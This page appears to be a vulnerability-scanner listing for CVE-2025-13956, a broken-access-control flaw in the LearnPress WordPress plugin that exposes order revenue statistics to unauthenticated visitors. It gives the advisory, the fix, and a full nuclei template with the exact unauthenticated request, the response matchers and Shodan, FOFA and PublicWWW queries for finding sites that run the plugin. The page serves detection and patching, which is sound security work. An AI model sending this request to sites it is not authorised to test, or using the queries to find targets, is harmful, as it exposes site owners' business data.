Browse / CVEs / CVE-2025-13956
CVE-2025-13956· thimpress / learnpress· CWE-862
LearnPress < 4.3.2 - Broken Access Control
The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts.
Impact
Unauthenticated attackers can view sensitive order statistics including revenue and order status, leading to information disclosure.
Fix
Update to a version later than 4.3.1 or the latest available version.
How to confirm it
Send: GET {{BaseURL}}/wp-json/lp/v1/orders/statistic
Positive when: contains_any(body, "total-raised", "order-completed", "order-pending", "order-cancelled", "Total Raised") and contains(body, "status\":\"success") and contains(header, "application/json") and status_…Run it with nuclei: nuclei -id CVE-2025-13956 -u <target>
The full check
id: CVE-2025-13956
info:
name: LearnPress < 4.3.2 - Broken Access Control
author: pussycat0x
severity: medium
description: |
The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts.
impact: |
Unauthenticated attackers can view sensitive order statistics including revenue and order status, leading to information disclosure.
remediation: |
Update to a version later than 4.3.1 or the latest available version.
reference:
- https://wpscan.com/vulnerability/b4c0e309-45d1-4b00-875d-ec8a76910253/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13956
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-13956
epss-score: 0.00892
epss-percentile: 0.59744
cwe-id: CWE-862
metadata:
verified: true
max-request: 1
vendor: thimpress
product: learnpress
framework: wordpress
publicwww-query: "/wp-content/plugins/learnpress/"
fofa-query: body="/wp-content/plugins/learnpress/"
shodan-query: http.html:"/wp-content/plugins/learnpress/"
tags: cve,cve2025,wordpress,wp-plugin,wp,learnpress,exposure
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/lp/v1/orders/statistic"
matchers:
- type: dsl
dsl:
- 'contains_any(body, "total-raised", "order-completed", "order-pending", "order-cancelled", "Total Raised")'
- 'contains(body, "status\":\"success")'
- 'contains(header, "application/json")'
- 'status_code == 200'
condition: andReferences
- https://wpscan.com/vulnerability/b4c0e309-45d1-4b00-875d-ec8a76910253/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13956
Use this check only on systems you are authorised to test. Where the data comes from